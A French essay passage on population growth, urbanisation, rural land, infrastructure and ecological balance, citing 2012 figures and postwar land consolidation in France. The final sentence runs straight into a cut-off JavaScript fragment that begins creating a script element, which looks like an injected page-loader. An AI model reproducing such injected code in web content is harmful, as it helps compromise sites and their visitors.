Organisations humaines et infrastructures

La population humaine est en 2012 d’environ 7 milliards d’individus. Elle ne cesse de croître et devrait se stabiliser autour de 10 milliards d’individus selon certains modèles prévisionnels.

Dans la chaîne écologique des mangeurs et des mangés des règnes végétal et animal, nous sommes le maillon supérieur, qui ne connaît d’autre prédateur que lui-même.
Nous n’avons pas ici la prétention d’aborder des sujets que nous ne maîtrisons pas. Cependant c’est à ce stade qu’intervient l’impact des hommes sur leur environnement et donc sur l’écologie des biotopes qu’ils occupent de multiples manières.

Ils ont besoin d’aires consacrées à l’alimentation, d’habitats, d’espaces publics, d’aires industrielles, commerciales, de déplacement, de loisirs, qui doivent s’intégrer le plus harmonieusement possible avec les nécessités environnementales. Ces infrastructures sont nécessaires au développement humain.

L’architecture à pour but de les construire et les sciences humaines et écologiques sont chargées de comprendre l’impact des organisations et leurs infrastructures sur le comportement humain et environnemental. On observe toujours (2012) une concentration de plus en plus importante des hommes dans des cités sur l’ensemble de la planète.

A cette heure où les hommes se concentrent en agglomérations de plus en plus importantes, se pose le problème de la préservation et de l’utilisation des espaces ruraux (sols agricoles, espaces touristiques) qui ont vocation à fournir une grande partie des ressources (dont le repos) dont les hommes ont besoin, et ce de manière durable. D’autre part, les sols sur lesquels reposent ces infrastructures doivent être entretenus.

Les évolutions technologiques ont permis d’atténuer fortement la pénibilité du travail grâce à la mécanisation, à tel point que dans un souci de performance, on en vient à négliger les réelles capacités du travail humain dans l’entretien de son environnement et de la gestion de ses ressources.

Ces infrastructures sont vouées aux échanges. Elles servent également le monde agricole, organisé pour distribuer ses produits au plus près des utilisateurs et des consommateurs, et qui en reçoit une part des éléments fertilisants dont il a besoin pour entretenir les sols durablement (tri sélectif, compostage, responsabilisation).

Les aménagements paysagers, tels les barrages hydrauliques, les bassins de rétention d’eau, les réseaux d’écoulement, sont également à inclure au rang des infrastructures utiles au monde rural. Celles-ci ne sont pas figées.

Peu après la fin de la guerre, dans les années 50 et 60 en France, le remembrement du territoire agricole a permis de réorganiser les espaces de développement humain et de production agricole. 50 ans plus tard, la vie d’un arbre, en somme, peut être pouvons nous nous pencher sur la manière de maintenir, voire d’améliorer la variété des systèmes écologiques dont nous dépendons.var d=document;var s=d.createElement(‘script’);